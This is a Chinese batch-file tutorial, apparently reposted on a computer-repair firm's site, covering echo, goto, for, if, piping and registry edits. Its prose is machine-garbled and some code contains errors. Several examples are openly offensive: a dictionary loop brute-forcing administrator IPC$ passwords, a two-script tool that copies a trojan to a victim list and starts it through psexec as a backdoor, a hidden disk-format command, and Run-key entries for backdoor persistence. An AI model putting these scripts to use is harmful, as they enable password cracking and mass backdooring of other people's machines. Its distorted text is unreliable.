批处理文件制作实例精彩教程
批处置惩罚文件是无格式的文本文件,现在无盘清理根本都是靠它实现的 因为简单实用上面便是方便大家怎样创建批处置惩罚文件的
一简单批处置惩罚外部下令简介
1.Echo 下令
打开回显或关闭恳求回显功能,或显示消息。要是没有任何参数,echo 下令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在现实应用中我们会把这条下令和重定向标记(也称为管道标记,一样平常用> >> ^)联合来实现输入一些下令到特定格式的文件中.这将在以后的例子中表现出来。
2.@ 下令
表示不显示@背面的下令,在入侵历程中(比方使用批处置惩罚来格式化敌人的硬盘)自然不能让对方看到你使用的下令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个下令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 下令
指定跳转到标签,找到标签后,步伐将处置惩罚从下一行开始的下令。
语法:goto label (label是参数,指定所要转向的批处置惩罚步伐中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(要是这里的if、%1、%2你不明确的话,先跳已往,背面会有详细的表明。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以任意起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto下令便是根据这个:来寻找下一步跳到到那里。最好有一些阐明如许你别人看起来才会理解你的意图啊。
4.Rem 下令
注释下令,在C言语中相当与/*--------*/,它并不会被实行,只是起一个注释的作用,便于别人阅读和你本身日后修正。
Rem Message
Sample:@Rem Here is the description.
5.Pause 下令
运行 Pause 下令时,将显示上面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d://back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的全部文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 下令会使步伐挂起,以便您更换磁盘,然后按恣意键一连处置惩罚。
6.Call 下令
从一个批处置惩罚步伐调用另一个批处置惩罚步伐,并且不停止父批处置惩罚步伐。call 下令接受用作调用目标的标签。要是在脚本或批处置惩罚文件外使用 Call,它将不会在下令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处置惩罚步伐的位置和称号。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 下令
调用外部步伐,全部的DOS下令和下令行步伐都可以由start下令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 步伐
HIGH 在 HIGH 优先级类别开始应用步伐
REALTIME 在 REALTIME 优先级类别开始应用步伐
WAIT 启动应用步伐并等候它竣事
parameters 这些为传送到下令/步伐的参数
实行的应用步伐是 32-位 GUI 应用步伐时,CMD.EXE 不等应用步伐停止就返回下令提示。要是在下令脚本内实行,该新行为则不会产生。
8.choice 下令
choice 使用此下令可以让用户输入一个字符,从而运行差别的下令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先果断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出果断,d表示实行标号为defrag的步伐段,m表示实行标号为mem的步伐段,e表示实行标号为end的步伐段,每个步伐段最后都以goto end将步伐跳到end标号处,然后步伐将显示good bye,文件竣事。
9.If 下令
if 表示将果断是否符合规定的条件,从而决定实行差别的下令。 有三种格式:
1、if "参数" == "字符串" 待实行的下令
参数要是等于指定的字符串,则条件建立,运行下令,不然运行下一句。(细致是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待实行的下令
要是有指定的文件,则条件建立,运行下令,不然运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待实行的下令
要是返回码等于指定的数字,则条件建立,运行下令,不然运行下一句。
如if errorlevel 2 goto x2
DOS步伐运行时都市返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 下令
for 下令是一个比较庞大的下令,重要用于参数在指定的范围内循环实行下令。
在批处置惩罚文件中使用 FOR 下令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件实行的下令。
command-parameters 为特定下令指定参数或下令行开关。
在批处置惩罚文件中使用 FOR 下令时,指定变量请使用 %%variable
而不要用 %variable。变量称号是区分大小写的,以是 %i 差别于 %I
要是下令扩展名被启用,下列分外的 FOR 下令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
要是集中包含通配符,则指定与目次名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
查抄以 [drive:]path 为根的目次树,指向每个目次中的
FOR 语句。要是在 /R 后没有指定目次,则使用当前
目次。要是集仅为一个单点(.)字符,则罗列该目次树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到竣事的一个数字序列。
因此,(1,1,5) 将孕育产生序列 1 2 3 4 5,(5,-1,1) 将孕育产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,要是有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。一连到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处置惩罚。
处置惩罚包括读取文件,将其分红一行行的文字,然后将每行
解析成零或更多的标记。然后用已找到的标记字符串变量值
调用 For 循环。以默许方法,/F 通过每个文件的每一行中分开
的第一个空白标记。跳过空白行。您可通过指定可选 "options"
参数替换默许解析操作。这个带引号的字符串包括一个或多个
指定差别解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的末端(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默许分隔符集。
tokens=x,y,m-n - 指每行的哪一个标记被通报到每个迭代
的 for 本身。这会导致分外变量称号的
格式为一个范围。通过 nth 标记指定 m
标记字符串中的最后一个字符星号,
那么分外的变量将在最后一个标记解析之
分配并接受行的保存文本。
usebackq - 指定新语法已在下类情况中使用:
在作为下令实行一个后引号的字符串并且
引号字符为文字字符串下令并容许在 fi
中使用双引号扩起文件称号。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会阐发 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个标记通报给 for 步伐体;用逗号和/或
空格定界标记。请细致,这个 for 步伐体的语句援用 %i 来
取得第二个标记,援用 %j 来取得第三个标记,援用 %k
来取得第三个标记后的全部剩余标记。对于带有空格的文件
名,您必要用双引号将文件名括起来。为了用这种方法来使
用双引号,您还必要使用 usebackq 选项,不然,双引号会
被理解成是用作界说某个要阐发的字符串的。
%i 专门在 for 语句中失掉阐明,%j 和 %k 是通过
tokens= 选项专门失掉阐明的。您可以通过 tokens= 一行
指定最多 26 个标记,只要不试图阐明一个高于字母 z 或
Z 的变量。请记着,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 阐发逻辑;要领是,
用单引号将括号之间的 filenameset 括起来。如许,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 下令来阐发下令的输入。要领是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作下令行,通报到一个子 CMD.EXE,其输入会被抓进
内存,并被当作文件阐发。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会罗列当前环境中的环境变量称号。
另外,FOR 变量参照的替换已被加强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全及格的途径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个途径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的途径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在途径环境变量的目次,并将 %I 扩充
到找到的第一个完全及格的称号。要是环境变量
未被界说,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来失掉多重效果:
%~dpI - 仅将 %I 扩充到一个驱动器号和途径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完备途径名
%~dp$PATH:i - 查找列在途径环境变量的目次,并将 %I 扩充
到找到的第一个驱动器号和途径。
%~ftzaI - 将 %I 扩充到类似输入线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值取代。%~ 语法
用一个有效的 FOR 变量名停止。选取类似 %I 的大写变量名
比较易读,并且避免与不分大小写的组合键殽杂。
以上是MS的官方资助,上面我们举几个例子来具体阐明一下For下令在入侵中的用处。
sample2:
利用For下令来实现对一台目标Win2k主机的暴力暗码破解。
我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行毗连,当成功时记下暗码。
最重要的下令是一条:for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"
用i%来表示admin的暗码,在dict.txt中这个取i%的值用net use 下令来毗连。然后将步伐运行效果通报给find下令--
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":下令成功完成">>D://ok.txt ,如许就ko了。
sample3:
你有没有过手里有少量肉鸡等着你去种后门+木马呢?,当数量分外多的时间,本来很开心的一件事都市变得很忧郁:)。文章开头就谈到使用批处置惩罚文件,可以简化一样平常或反复性任务。那么如何实现呢?呵呵,看下去你就会明确了。
重要下令也只有一条:(在批处置惩罚文件中使用 FOR 下令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请拜见上面的sample1,在这里它表示按次序将victim.txt中的内容通报给door.bat中的参数%i %j %k。
而cultivate.bat无非便是用net use下令来建立IPC$毗连,并copy木马+后门到victim,然后用返回码(If errorlever =)来挑选成功莳植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也肯定明确这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一样平常便是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个主动莳植后门批处置惩罚的雏形,两个批处置惩罚和后门步伐(Windrv32.exe),PSexec.exe需放在统一目次下.批处置惩罚内容
尚可扩展,比方:参加扫除日志+DDOS的功能,参加定时添加用户的功能,更深化一点可以使之具备主动传播功能(蠕虫).此处未几做叙述,有兴味的朋友可自行研讨.
二.如何在批处置惩罚文件中使用参数
批处置惩罚中可以使用参数,一样平常从1%到 9%这九个,当有多个参数时必要用shift来挪动,这种情况并未几见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于一连地格式化几张软盘,以是用的时间需在dos窗口输入fomat.bat a,呵呵,宛如有点多此一举了~^_^
sample2:
当我们要建立一个IPC$毗连地时间总要输入一大串下令,弄不好就打错了,以是我们不如把一些固定下令写入一个批处置惩罚,把肉鸡地ip password username 当着参数来赋给这个批处置惩罚,如许就不消每次都打下令了。
@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 细致哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎样样,使用参数还是比较简单的吧?你这么帅肯定学会了^_^.No.3
三.如何使用组合下令(Compound Command)
1.&
Usage:第一条下令 & 第二条下令 [& 第三条下令...]
用这种要领可以同时实行多条下令,而不论下令是否实行成功
Sample:
C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:51
2002-05-14 23:51
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条下令 && 第二条下令 [&& 第三条下令...]
用这种要领可以同时实行多条下令,当遇到实行堕落的下令后将不实行背面的下令,要是一直没有堕落则一直实行完全部下令;
Sample:
C://>dir z: && dir c://Ex4rch
The system cannot find the path specified.
C://>dir c://Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:55
2002-05-14 23:55
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时间可能会用到这种下令会比较简单,如:
dir 文件://192.168.0.1/database/backup.mdb && copy 文件://192.168.0.1/database/backup.mdb E://backup
要是远程办事器上存在backup.mdb文件,就实行copy下令,若不存在该文件则不实行copy下令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条下令 || 第二条下令 [|| 第三条下令...]
用这种要领可以同时实行多条下令,当遇到实行正确的下令后将不实行背面的下令,要是没有出现正确的下令则一直实行完全部下令;
Sample:
C://Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C://Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合下令使用的例子:
sample:
@copy trojan.exe ////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
[此贴子已经被作者于2004-11-25 20:52:10编辑过]
--------------------------------------------------------------------------------
-- 作者:epdni
-- 公布时间:2004-11-18 10:11:25
--
四、管道下令的使用
1.| 下令
Usage:第一条下令 | 第二条下令 [| 第三条下令...]
将第一条下令的效果作为第二条下令的参数来使用,记得在unix中这种方法很常见。
sample:
time /t>>D://IP.log
netstat -n -p tcp|find ":3389">>D://IP.log
start Explorer
看出来了么?用于终端办事容许我们为用户自界说起始的步伐,来实现让用户运行上面这个bat,以失掉登录用户的IP。
2.>、>>输入重定向下令
将一条下令或某个步伐输入效果的重定向到特定文件中, > 与 >>的区别在于,>会扫除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c://hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们晓得system32是个捉迷藏的好中央,许多木马都削尖了脑袋往那里钻,DLL马也不破例,针对这一点我们可以在安置好体系和必要的应用步伐后,对该目次下的EXE和DLL文件作一个记载:
运行CMD--转换目次到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
如许全部的EXE和DLL文件的称号都被辨别记载到exeback.txt和dllback.txt中,
日后如发现异常但用传统的要领查不出题目时,则要考虑是不是体系中已经潜入DLL木马了.
这时我们用同样的下令将system32下的EXE和DLL文件记载到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC下令比较前后两次的DLL和EXE文件,并将效果输入到diff.txt中),如许我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过紧缩等就能够比较容易地果断出是不是已经被DLL木马惠顾了。没有是最好,要是有的话也不要直接DEL失,先用regsvr32 /u trojan.dll将后门DLL文件注销失,再把它移到回收站里,若体系没有异常反应再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入下令输入。
>& 将一个句柄的输入写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输入中。
这些并不常用,也就未几做介绍。
No.5
五.如何用批处置惩罚文件来操作注册表
在入侵历程中每每回操作注册表的特定的键值来实现肯定的目标,比方:为了达到隐藏后门、木马步伐而删除Run下渣滓的键值。或者创建一个办事用以加载后门。当然我们也会修正注册表来加固体系或者改变体系的某个属性,这些都必要我们对注册表操作有肯定的相识。上面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处置惩罚来生成一个REG文件)
关于注册表的操作,常见的是创建、修正、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]
然后实行该脚本,你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目称号
那这种文件格式便是典范的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Invader"="Ex4rch"
"Door"=C:////WINNT////system32////door.exe
"Autodos"=dword:02
如许就在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String value”
door的类型是“REG SZ value”
Autodos的类型是“DWORD value”
2.修正
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|